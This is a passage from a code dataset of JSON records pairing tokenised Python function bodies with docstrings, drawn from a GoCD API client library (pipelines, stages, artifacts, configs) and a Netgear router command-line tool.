in a call to `go/api/pipelines.xml` is\n           made to get a valid session\n        2. `JSESSIONID` will be populated from this request\n        3. A request to `go/pipelines` will be so the\n           `authenticity_token` (CSRF) can be extracted. It will then\n           silently be injected into `post_args` on any POST calls that\n           doesn't start with `go/api` from this point.\n\n        Args:\n          response: a :class:`Response` object from a previously successful\n            API call. So we won't have to query `go/api/pipelines.xml`\n            unnecessarily.\n\n        Raises:\n          HTTPError: when the HTTP request fails.\n          AuthenticationFailed: when failing to get the `session_id`\n            or the `authenticity_token`.", "id": "f1613:c1:m4"}
{"signature": "def pipeline(self, name):", "body": "return Pipeline(self, name)<EOL>", "docstring": "Instantiates a :class:`Pipeline` with the given name.\n\n        Args:\n          name: The name of the pipeline you want to interact with\n\n        Returns:\n          Pipeline: an instantiated :class:`Pipeline`.", "id": "f1613:c1:m6"}
{"signature": "def pipeline_groups(self):", "body": "return PipelineGroups(self)<EOL>", "docstring": "Returns an instance of :class:`PipelineGroups`\n\n        Returns:\n          PipelineGroups: an instantiated :class:`PipelineGroups`.", "id": "f1613:c1:m7"}
{"signature": "def stage(self, pipeline_name, stage_name, pipeline_counter=None):", "body": "return Stage(self, pipeline_name, stage_name, pipeline_counter=pipeline_counter)<EOL>", "docstring": "Returns an instance of :class:`Stage`\n\n        Args:\n            pipeline_name (str): Name of the pipeline the stage belongs to\n            stage_name (str): Name of the stage to act on\n            pipeline_counter (int): The pipeline instance the stage is for.\n\n        Returns:\n          Stage: an instantiated :class:`Stage`.", "id": "f1613:c1:m8"}
{"signature": "def flatten(d):", "body": "if not isinstance(d, dict):<EOL><INDENT>return [[d]]<EOL><DEDENT>returned = []<EOL>for key, value in d.items():<EOL><INDENT>nested = flatten(value)<EOL>for nest in nested:<EOL><INDENT>current_row = [key]<EOL>current_row.extend(nest)<EOL>returned.append(current_row)<EOL><DEDENT><DEDENT>return returned<EOL>", "docstring": "Return a dict as a list of lists.\n\n    >>> flatten({\"a\": \"b\"})\n    [['a', 'b']]\n    >>> flatten({\"a\": [1, 2, 3]})\n    [['a', [1, 2, 3]]]\n    >>> flatten({\"a\": {\"b\": \"c\"}})\n    [['a', 'b', 'c']]\n    >>> flatten({\"a\": {\"b\": {\"c\": \"e\"}}})\n    [['a', 'b', 'c', 'e']]\n    >>> flatten({\"a\": {\"b\": \"c\", \"d\": \"e\"}})\n    [['a', 'b', 'c'], ['a', 'd', 'e']]\n    >>> flatten({\"a\": {\"b\": \"c\", \"d\": \"e\"}, \"b\": {\"c\": \"d\"}})\n    [['a', 'b', 'c'], ['a', 'd', 'e'], ['b', 'c', 'd']]", "id": "f1615:m0"}
{"signature": "def parametrize(params):", "body": "returned = str(params[<NUM_LIT:0>])<EOL>returned += \"<STR_LIT>\".join(\"<STR_LIT:[>\" + str(p) + \"<STR_LIT:]>\" for p in params[<NUM_LIT:1>:])<EOL>return returned<EOL>", "docstring": "Return list of params as params.\n\n    >>> parametrize(['a'])\n    'a'\n    >>> parametrize(['a', 'b'])\n    'a[b]'\n    >>> parametrize(['a', 'b', 'c'])\n    'a[b][c]'", "id": "f1615:m1"}
{"signature": "def urlencode(params):", "body": "<EOL>if not isinstance(params, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>params = flatten(params)<EOL>url_params = {}<EOL>for param in params:<EOL><INDENT>value = param.pop()<EOL>name = parametrize(param)<EOL>if isinstance(value, (list, tuple)):<EOL><INDENT>name += \"<STR_LIT>\"<EOL><DEDENT>url_params[name] = value<EOL><DEDENT>return _urlencode(url_params, doseq=True)<EOL>", "docstring": "Urlencode a multidimensional dict.", "id": "f1615:m2"}
{"signature": "def __init__(self, server, pipeline, counter, stage, job, stage_counter=<NUM_LIT:1>):", "body": "self.server = server<EOL>self.pipeline = pipeline<EOL>self.counter = counter<EOL>self.stage = stage<EOL>self.job = job<EOL>self.stage_counter = stage_counter<EOL>self._base_path = self.base_path.format(<EOL>pipeline=self.pipeline,<EOL>counter=self.counter,<EOL>stage=self.stage,<EOL>stage_counter=self.stage_counter,<EOL>job=self.job<EOL>)<EOL>", "docstring": "A wrapper for the `Go artifact API`__\n\n        .. __: http://api.go.cd/current/#artifacts\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          pipeline (str): The name of the pipeline to work with\n          counter (int): The counter of the pipeline to work with\n          stage (str): The name of the stage to work with\n          job (str): The name of the job to work with\n          stage_counter (int): The counter of the stage to work with, defaults to 1", "id": "f1618:c0:m0"}
{"signature": "def list(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "Lists all available artifacts in this job.\n\n        See the `Go artifact list documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-all-artifacts\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1618:c0:m1"}
{"signature": "def get(self, path_to_file):", "body": "return self._get(path_to_file)<EOL>", "docstring": "Gets an artifact directory by its path.\n\n        See the `Go artifact file documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-artifact-file\n\n        Args:\n          path_to_file (str): The path to file to get. It can be nested eg\n            ``dist/foobar-widgets-1.2.0.jar``\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1618:c0:m2"}
{"signature": "def get_directory(self, path_to_directory, timeout=<NUM_LIT:30>, backoff=<NUM_LIT>, max_wait=<NUM_LIT:4>):", "body": "response = None<EOL>started_at = None<EOL>time_elapsed = <NUM_LIT:0><EOL>i = <NUM_LIT:0><EOL>while time_elapsed < timeout:<EOL><INDENT>response = self._get('<STR_LIT>'.format(path_to_directory))<EOL>if response:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>if started_at is None:<EOL><INDENT>started_at = time.time()<EOL><DEDENT>time.sleep(min(backoff * (<NUM_LIT:2> ** i), max_wait))<EOL>i += <NUM_LIT:1><EOL>time_elapsed = time.time() - started_at<EOL><DEDENT><DEDENT>return response<EOL>", "docstring": "Gets an artifact directory by its path.\n\n        See the `Go artifact directory documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-artifact-directory\n\n        .. note::\n          Getting a directory relies on Go creating a zip file of the\n          directory in question. Because of this Go will zip the file in\n          the background and return a 202 Accepted response. It's then up\n          to the client to check again later and get the final file.\n\n          To work with normal assumptions this :meth:`get_directory` will\n          retry itself up to ``timeout`` seconds to get a 200 response to\n          return. At that point it will then return the response as is, no\n          matter whether it's still 202 or 200. The retry is done with an\n          exponential backoff with a max value between retries. See the\n          ``backoff`` and ``max_wait`` variables.\n\n          If you want to handle the retry logic yourself then use :meth:`get`\n          and add '.zip' as a suffix on the directory.\n\n        Args:\n          path_to_directory (str): The path to the directory to get.\n            It can be nested eg ``target/dist.zip``\n          timeout (int): How many seconds we will wait in total for a\n            successful response from Go when we're receiving 202\n          backoff (float): The initial value used for backoff, raises\n            exponentially until it reaches ``max_wait``\n          max_wait (int): The max time between retries\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object\n            A successful response is a zip-file.", "id": "f1618:c0:m3"}
{"signature": "def __init__(self, server, name):", "body": "self.server = server<EOL>self.name = name<EOL>", "docstring": "A wrapper for the `Go pipeline API`__\n\n        .. __: http://api.go.cd/current/#pipelines\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          name (str): The name of the pipeline we're working on", "id": "f1619:c0:m0"}
{"signature": "def history(self, offset=<NUM_LIT:0>):", "body": "return self._get('<STR_LIT>'.format(offset=offset or <NUM_LIT:0>))<EOL>", "docstring": "Lists previous instances/runs of the pipeline\n\n        See the `Go pipeline history documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-pipeline-history\n\n        Args:\n          offset (int, optional): How many instances to skip for this response.\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m1"}
{"signature": "def release(self):", "body": "return self._post('<STR_LIT>', headers={\"<STR_LIT>\": True})<EOL>", "docstring": "Releases a previously locked pipeline\n\n        See the `Go pipeline release lock documentation`__ for example\n        responses.\n\n        .. __: http://api.go.cd/current/#releasing-a-pipeline-lock\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m2"}
{"signature": "def pause(self, reason='<STR_LIT>'):", "body": "return self._post('<STR_LIT>', headers={\"<STR_LIT>\": True}, pauseCause=reason)<EOL>", "docstring": "Pauses the current pipeline\n\n        See the `Go pipeline pause documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#pause-a-pipeline\n\n        Args:\n          reason (str, optional): The reason the pipeline is being paused.\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m3"}
{"signature": "def unpause(self):", "body": "return self._post('<STR_LIT>', headers={\"<STR_LIT>\": True})<EOL>", "docstring": "Unpauses the pipeline\n\n        See the `Go pipeline unpause documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#unpause-a-pipeline\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m4"}
{"signature": "def status(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "Returns the current status of this pipeline\n\n        See the `Go pipeline status documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-pipeline-status\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m5"}
{"signature": "def instance(self, counter=None):", "body": "if not counter:<EOL><INDENT>history = self.history()<EOL>if not history:<EOL><INDENT>return history<EOL><DEDENT>else:<EOL><INDENT>return Response._from_json(history['<STR_LIT>'][<NUM_LIT:0>])<EOL><DEDENT><DEDENT>return self._get('<STR_LIT>'.format(counter=counter))<EOL>", "docstring": "Returns all the information regarding a specific pipeline run\n\n        See the `Go pipeline instance documentation`__ for examples.\n\n        .. __: http://api.go.cd/current/#get-pipeline-instance\n\n        Args:\n          counter (int): The pipeline instance to fetch.\n            If falsey returns the latest pipeline instance from :meth:`history`.\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m6"}
{"signature": "def schedule(self, variables=None, secure_variables=None, materials=None,<EOL>return_new_instance=False, backoff_time=<NUM_LIT:1.0>):", "body": "scheduling_args = dict(<EOL>variables=variables,<EOL>secure_variables=secure_variables,<EOL>material_fingerprint=materials,<EOL>headers={\"<STR_LIT>\": True},<EOL>)<EOL>scheduling_args = dict((k, v) for k, v in scheduling_args.items() if v is not None)<EOL>if return_new_instance:<EOL><INDENT>pipelines = self.history()['<STR_LIT>']<EOL>if len(pipelines) == <NUM_LIT:0>:<EOL><INDENT>last_run = None<EOL><DEDENT>else:<EOL><INDENT>last_run = pipelines[<NUM_LIT:0>]['<STR_LIT>']<EOL><DEDENT>response = self._post('<STR_LIT>', ok_status=<NUM_LIT>, **scheduling_args)<EOL>if not response:<EOL><INDENT>return response<EOL><DEDENT>max_tries = <NUM_LIT:10><EOL>while max_tries > <NUM_LIT:0>:<EOL><INDENT>current = self.instance()<EOL>if not last_run and current:<EOL><INDENT>return current<EOL><DEDENT>elif last_run and current['<STR_LIT>'] > last_run:<EOL><INDENT>return current<EOL><DEDENT>else:<EOL><INDENT>time.sleep(backoff_time)<EOL>max_tries -= <NUM_LIT:1><EOL><DEDENT><DEDENT>return response<EOL><DEDENT>else:<EOL><INDENT>return self._post('<STR_LIT>', ok_status=<NUM_LIT>, **scheduling_args)<EOL><DEDENT>", "docstring": "Schedule a pipeline run\n\n        Aliased as :meth:`run`, :meth:`schedule`, and :meth:`trigger`.\n\n        Args:\n          variables (dict, optional): Variables to set/override\n          secure_variables (dict, optional): Secure variables to set/override\n          materials (dict, optional): Material revisions to be used for\n            this pipeline run. The exact format for this is a bit iffy,\n            have a look at the official\n            `Go pipeline scheduling documentation`__ or inspect a call\n            from triggering manually in the UI.\n          return_new_instance (bool): Returns a :meth:`history` compatible\n            response for the newly scheduled instance. This is primarily so\n            users easily can get the new instance number. **Note:** This is done\n            in a very naive way, it just checks that the instance number is\n            higher than before the pipeline was triggered.\n          backoff_time (float): How long between each check for\n            :arg:`return_new_instance`.\n\n         .. __: http://api.go.cd/current/#scheduling-pipelines\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1619:c0:m7"}
{"signature": "def artifact(self, counter, stage, job, stage_counter=<NUM_LIT:1>):", "body": "return Artifact(self.server, self.name, counter, stage, job, stage_counter)<EOL>", "docstring": "Helper to instantiate an :class:`gocd.api.artifact.Artifact` object\n\n        Args:\n          counter (int): The pipeline counter to get the artifact for\n          stage: Stage name\n          job: Job name\n          stage_counter: Defaults to 1\n\n        Returns:\n          Artifact: :class:`gocd.api.artifact.Artifact` object", "id": "f1619:c0:m8"}
{"signature": "def console_output(self, instance=None):", "body": "if instance is None:<EOL><INDENT>instance = self.instance()<EOL><DEDENT>for stage in instance['<STR_LIT>']:<EOL><INDENT>for job in stage['<STR_LIT>']:<EOL><INDENT>if job['<STR_LIT:result>'] not in self.final_results:<EOL><INDENT>continue<EOL><DEDENT>artifact = self.artifact(<EOL>instance['<STR_LIT>'],<EOL>stage['<STR_LIT:name>'],<EOL>job['<STR_LIT:name>'],<EOL>stage['<STR_LIT>']<EOL>)<EOL>output = artifact.get('<STR_LIT>')<EOL>yield (<EOL>{<EOL>'<STR_LIT>': self.name,<EOL>'<STR_LIT>': instance['<STR_LIT>'],<EOL>'<STR_LIT>': stage['<STR_LIT:name>'],<EOL>'<STR_LIT>': stage['<STR_LIT>'],<EOL>'<STR_LIT>': job['<STR_LIT:name>'],<EOL>'<STR_LIT>': job['<STR_LIT:result>'],<EOL>},<EOL>output.body<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Yields the output and metadata from all jobs in the pipeline\n\n        Args:\n          instance: The result of a :meth:`instance` call, if not supplied\n            the latest of the pipeline will be used.\n\n        Yields:\n          tuple: (metadata (dict), output (str)).\n\n          metadata contains:\n            - pipeline\n            - pipeline_counter\n            - stage\n            - stage_counter\n            - job\n            - job_result", "id": "f1619:c0:m9"}
{"signature": "def stage(self, name, pipeline_counter=None):", "body": "return Stage(<EOL>self.server,<EOL>pipeline_name=self.name,<EOL>stage_name=name,<EOL>pipeline_counter=pipeline_counter,<EOL>)<EOL>", "docstring": "Helper to instantiate a :class:`gocd.api.stage.Stage` object\n\n        Args:\n            name: The name of the stage\n            pipeline_counter:\n\n        Returns:", "id": "f1619:c0:m10"}
{"signature": "def __init__(self, server, name, api_version=<NUM_LIT:2>):", "body": "self.server = server<EOL>self.name = name<EOL>self.api_version = api_version<EOL>", "docstring": "A wrapper for the `Go template config API`__\n\n        .. __: https://api.go.cd/current/#template-config\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          name (str): The name of the template we're working on", "id": "f1620:c0:m0"}
{"signature": "def get(self):", "body": "return self._get(self.name, headers={\"<STR_LIT>\": self._accept_header_value})<EOL>", "docstring": "Get template config for specified template name.\n\n        See `The template config object`__ for example responses.\n\n        .. __: https://api.go.cd/current/#the-template-config-object\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1620:c0:m1"}
{"signature": "def edit(self, config, etag):", "body": "data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>if etag is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = etag<EOL><DEDENT>return self._request(self.name,<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers,<EOL>method=\"<STR_LIT>\")<EOL>", "docstring": "Update template config for specified template name.\n\n        .. __: https://api.go.cd/current/#edit-template-config\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1620:c0:m2"}
{"signature": "def create(self, config):", "body": "assert config[\"<STR_LIT:name>\"] == self.name, \"<STR_LIT>\"<EOL>data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>return self._request(\"<STR_LIT>\",<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers)<EOL>", "docstring": "Create template config for specified template name.\n\n        .. __: https://api.go.cd/current/#create-template-config\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1620:c0:m3"}
{"signature": "def delete(self):", "body": "headers = self._default_headers()<EOL>return self._request(self.name,<EOL>ok_status=None,<EOL>data=None,<EOL>headers=headers,<EOL>method=\"<STR_LIT>\")<EOL>", "docstring": "Delete template config for specified template name.\n\n        .. __: https://api.go.cd/current/#delete-a-template\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1620:c0:m4"}
{"signature": "def get_pipeline_groups(self):", "body": "self._response = self._get('<STR_LIT>')<EOL>return self._response<EOL>", "docstring": "Makes a call to the Go server to fetch the pipeline groups.\n\n        Saves the response to :attr:`response`.\n\n        Returns:\n          Response: an instance of :class:`gocd.api.Response`", "id": "f1622:c0:m1"}
{"signature": "@property<EOL><INDENT>def response(self):<DEDENT>", "body": "if self._response is None:<EOL><INDENT>self.get_pipeline_groups()<EOL><DEDENT>return self._response<EOL>", "docstring": "Returns the last response from fetching the pipeline groups from Go\n\n        If there is no response then one will be fetched and returned.\n\n        Returns:\n          Response: an instance of :class:`gocd.api.Response`", "id": "f1622:c0:m2"}
{"signature": "@property<EOL><INDENT>def pipelines(self):<DEDENT>", "body": "if not self.response:<EOL><INDENT>return set()<EOL><DEDENT>elif self._pipelines is None and self.response:<EOL><INDENT>self._pipelines = set()<EOL>for group in self.response.payload:<EOL><INDENT>for pipeline in group['<STR_LIT>']:<EOL><INDENT>self._pipelines.add(pipeline['<STR_LIT:name>'])<EOL><DEDENT><DEDENT><DEDENT>return self._pipelines<EOL>", "docstring": "Returns a set of all pipelines from the last response\n\n        Returns:\n          set: Response success: all the pipelines available in the response\n               Response failure: an empty set", "id": "f1622:c0:m3"}
{"signature": "def __init__(self, server, name=\"<STR_LIT>\"):", "body": "self.server = server<EOL>self.name = name<EOL>", "docstring": "A wrapper for the `Go pluggable SCM API`__\n\n        .. __: https://api.go.cd/current/#scms\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          name (str): The name of the SCM material", "id": "f1623:c0:m0"}
{"signature": "def list(self):", "body": "return self._get(\"<STR_LIT>\", headers={\"<STR_LIT>\": self._accept_header_value})<EOL>", "docstring": "Lists all available pluggable scm materials,\n           these are materials that are present in the in cruise-config.xml.\n\n        See the `Go pluggable SCM documentation`__ for example responses.\n\n        .. __: https://api.go.cd/current/#get-all-pluggable-scm-materials\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1623:c0:m1"}
{"signature": "def get(self):", "body": "return self._get(self.name, headers={\"<STR_LIT>\": self._accept_header_value})<EOL>", "docstring": "Gets SCM material for specified material name\n\n        See `The global scm config object`__ for example responses.\n\n        .. __: https://api.go.cd/current/#the-global-scm-config-object\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1623:c0:m2"}
{"signature": "def edit(self, config, etag):", "body": "data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>if etag is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = etag<EOL><DEDENT>return self._request(self.name,<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers,<EOL>method=\"<STR_LIT>\")<EOL>", "docstring": "Update SCM material for specified material  name.\n\n        .. __: https://api.go.cd/current/#update-pluggable-scm-object\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1623:c0:m3"}
{"signature": "def create(self, config):", "body": "assert config[\"<STR_LIT:name>\"] == self.name, \"<STR_LIT>\"<EOL>assert \"<STR_LIT>\" in config, \"<STR_LIT>\"<EOL>data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>return self._request(\"<STR_LIT>\",<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers,<EOL>method=\"<STR_LIT:POST>\")<EOL>", "docstring": "Create a global SCM object\n\n        .. __: https://api.go.cd/current/#create-a-scm-object\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1623:c0:m4"}
{"signature": "def __init__(self, server, name, api_version=<NUM_LIT:4>):", "body": "self.server = server<EOL>self.name = name<EOL>self.api_version = api_version<EOL>", "docstring": "A wrapper for the `Go pipeline config API`__\n\n        .. __: https://api.go.cd/current/#pipeline-config\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          name (str): The name of the pipeline we're working on", "id": "f1624:c0:m0"}
{"signature": "def get(self):", "body": "return self._get(self.name, headers={\"<STR_LIT>\": self._accept_header_value})<EOL>", "docstring": "Gets pipeline config for specified pipeline name.\n\n        See `The pipeline config object`__ for example responses.\n\n        .. __: https://api.go.cd/current/#the-pipeline-config-object\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1624:c0:m1"}
{"signature": "def edit(self, config, etag):", "body": "data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>if etag is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = etag<EOL><DEDENT>return self._request(self.name,<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers,<EOL>method=\"<STR_LIT>\")<EOL>", "docstring": "Update pipeline config for specified pipeline name.\n\n        .. __: https://api.go.cd/current/#edit-pipeline-config\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1624:c0:m2"}
{"signature": "def create(self, config):", "body": "assert config[\"<STR_LIT:name>\"] == self.name, \"<STR_LIT>\"<EOL>assert \"<STR_LIT>\" in config, \"<STR_LIT>\"<EOL>data = self._json_encode(config)<EOL>headers = self._default_headers()<EOL>return self._request(\"<STR_LIT>\",<EOL>ok_status=None,<EOL>data=data,<EOL>headers=headers)<EOL>", "docstring": "Update pipeline config for specified pipeline name.\n\n        .. __: https://api.go.cd/current/#edit-pipeline-config\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1624:c0:m3"}
{"signature": "def __init__(self, server, pipeline_name, stage_name, pipeline_counter=None):", "body": "self.server = server<EOL>self.pipeline_name = pipeline_name<EOL>self.pipeline_counter = pipeline_counter<EOL>self.stage_name = stage_name<EOL>", "docstring": "A wrapper for the `Go stage API`__\n\n        .. __: http://api.go.cd/current/#stages\n\n        Args:\n          server (Server): A configured instance of\n            :class:gocd.server.Server\n          pipeline_name (str): The name of the pipeline we're working on\n          stage_name (str): The name of the stage we're working on", "id": "f1625:c0:m0"}
{"signature": "def cancel(self):", "body": "return self._post('<STR_LIT>', headers={\"<STR_LIT>\": True})<EOL>", "docstring": "Cancels a currently running stage\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1625:c0:m2"}
{"signature": "def history(self, offset=<NUM_LIT:0>):", "body": "return self._get('<STR_LIT>'.format(offset=offset or <NUM_LIT:0>))<EOL>", "docstring": "Lists previous instances/runs of the stage\n\n        See the `Go stage history documentation`__ for example responses.\n\n        .. __: http://api.go.cd/current/#get-stage-history\n\n        Args:\n          offset (int, optional): How many instances to skip for this response.\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1625:c0:m3"}
{"signature": "def instance(self, counter=None, pipeline_counter=None):", "body": "pipeline_counter = pipeline_counter or self.pipeline_counter<EOL>pipeline_instance = None<EOL>if not pipeline_counter:<EOL><INDENT>pipeline_instance = self.server.pipeline(self.pipeline_name).instance()<EOL>self.pipeline_counter = int(pipeline_instance['<STR_LIT>'])<EOL><DEDENT>if not counter:<EOL><INDENT>if pipeline_instance is None:<EOL><INDENT>pipeline_instance = (<EOL>self.server<EOL>.pipeline(self.pipeline_name)<EOL>.instance(pipeline_counter)<EOL>)<EOL><DEDENT>for stages in pipeline_instance['<STR_LIT>']:<EOL><INDENT>if stages['<STR_LIT:name>'] == self.stage_name:<EOL><INDENT>return self.instance(<EOL>counter=int(stages['<STR_LIT>']),<EOL>pipeline_counter=pipeline_counter<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return self._get('<STR_LIT>'<EOL>.format(pipeline_counter=pipeline_counter, counter=counter))<EOL>", "docstring": "Returns all the information regarding a specific stage run\n\n        See the `Go stage instance documentation`__ for examples.\n\n        .. __: http://api.go.cd/current/#get-stage-instance\n\n        Args:\n          counter (int): The stage instance to fetch.\n            If falsey returns the latest stage instance from :meth:`history`.\n          pipeline_counter (int): The pipeline instance for which to fetch\n            the stage. If falsey returns the latest pipeline instance.\n\n        Returns:\n          Response: :class:`gocd.api.response.Response` object", "id": "f1625:c0:m4"}
{"signature": "@property<EOL><INDENT>def is_ok(self):<DEDENT>", "body": "return self.status_code == self.ok_status<EOL>", "docstring": "Whether this response is considered successful\n\n        Returns\n          bool: True if `status_code` is `ok_status`", "id": "f1626:c0:m1"}
{"signature": "@property<EOL><INDENT>def is_json(self):<DEDENT>", "body": "return (self.content_type.startswith('<STR_LIT:application/json>') or<EOL>re.match(r'<STR_LIT>', self.content_type))<EOL>", "docstring": "Returns:\n  bool: True if `content_type` is `application/json`", "id": "f1626:c0:m2"}
{"signature": "@property<EOL><INDENT>def payload(self):<DEDENT>", "body": "if self.is_json:<EOL><INDENT>if not self._body_parsed:<EOL><INDENT>if hasattr(self._body, '<STR_LIT>'):<EOL><INDENT>body = self._body.decode('<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>body = self._body<EOL><DEDENT>self._body_parsed = json.loads(body)<EOL><DEDENT>return self._body_parsed<EOL><DEDENT>else:<EOL><INDENT>return self._body<EOL><DEDENT>", "docstring": "Returns:\n  `str` when not json.\n  `dict` when json.", "id": "f1626:c0:m6"}
{"signature": "@property<EOL><INDENT>def fp(self):<DEDENT>", "body": "if hasattr(self.__body, '<STR_LIT>'):<EOL><INDENT>return self.__body<EOL><DEDENT>return None<EOL>", "docstring": "Returns a file-like object if the class was instantiated with one\n\n        Returns:\n          None, file-like object: If :attribute:`_body` responds to read else None", "id": "f1626:c0:m9"}
{"signature": "def make_formatter(format_name):", "body": "if \"<STR_LIT>\" in format_name:<EOL><INDENT>from json import dumps<EOL>import datetime<EOL>def jsonhandler(obj): obj.isoformat() if isinstance(obj, (datetime.datetime, datetime.date)) else obj<EOL>if format_name == \"<STR_LIT>\":<EOL><INDENT>def jsondumps(data): return dumps(data, default=jsonhandler, indent=<NUM_LIT:2>, separators=('<STR_LIT:U+002C>', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>def jsondumps(data): return dumps(data, default=jsonhandler)<EOL><DEDENT>def jsonify(data):<EOL><INDENT>if isinstance(data, dict):<EOL><INDENT>print(jsondumps(data))<EOL><DEDENT>elif isinstance(data, list):<EOL><INDENT>print(jsondumps([device._asdict() for device in data]))<EOL><DEDENT>else:<EOL><INDENT>print(dumps({'<STR_LIT:result>': data}))<EOL><DEDENT><DEDENT>return jsonify<EOL><DEDENT>else:<EOL><INDENT>def printer(data):<EOL><INDENT>if isinstance(data, dict):<EOL><INDENT>print(data)<EOL><DEDENT>else:<EOL><INDENT>for row in data:<EOL><INDENT>print(row)<EOL><DEDENT><DEDENT><DEDENT>return printer<EOL><DEDENT>", "docstring": "Returns a callable that outputs the data. Defaults to print.", "id": "f1630:m0"}
{"signature": "def argparser():", "body": "parser = ArgumentParser(prog='<STR_LIT>')<EOL>parser.add_argument(\"<STR_LIT>\", choices=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], default='<STR_LIT>')<EOL>router_args = parser.add_argument_group(\"<STR_LIT>\")<EOL>router_args.add_argument(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>router_args.add_argument(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>router_args.add_argument(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>router_args.add_argument(\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\", default=False, action=\"<STR_LIT:store_true>\")<EOL>router_args.add_argument(<EOL>\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL>router_args.add_argument(<EOL>\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>router_args.add_argument(\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\", default=True,<EOL>action=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>subparsers = parser.add_subparsers(<EOL>description=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\")<EOL>block_parser = subparsers.add_parser(<EOL>\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>block_parser.add_argument(\"<STR_LIT>\")<EOL>allow_parser = subparsers.add_parser(<EOL>\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>allow_parser.add_argument(\"<STR_LIT>\")<EOL>subparsers.add_parser(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>attached_devices = subparsers.add_parser(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>attached_devices.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>subparsers.add_parser(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>return parser<EOL>", "docstring": "Constructs the ArgumentParser for the CLI", "id": "f1630:m1"}
{"signature": "def run_subcommand(netgear, args):", "body": "subcommand = args.subcommand<EOL>if subcommand == \"<STR_LIT>\" or subcommand == \"<STR_LIT>\":<EOL><INDENT>return netgear.allow_block_device(args.mac_addr, BLOCK if subcommand == \"<STR_LIT>\" else ALLOW)<EOL><DEDENT>if subcommand == \"<STR_LIT>\":<EOL><INDENT>if args.verbose:<EOL><INDENT>return netgear.get_attached_devices_2()<EOL><DEDENT>else:<EOL><INDENT>return netgear.get_attached_devices()<EOL><DEDENT><DEDENT>if subcommand == '<STR_LIT>':<EOL><INDENT>return netgear.get_traffic_meter()<EOL><DEDENT>if subcommand == '<STR_LIT>':<EOL><INDENT>return netgear.login()<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Runs the subcommand configured in args on the netgear session", "id": "f1630:m2"}
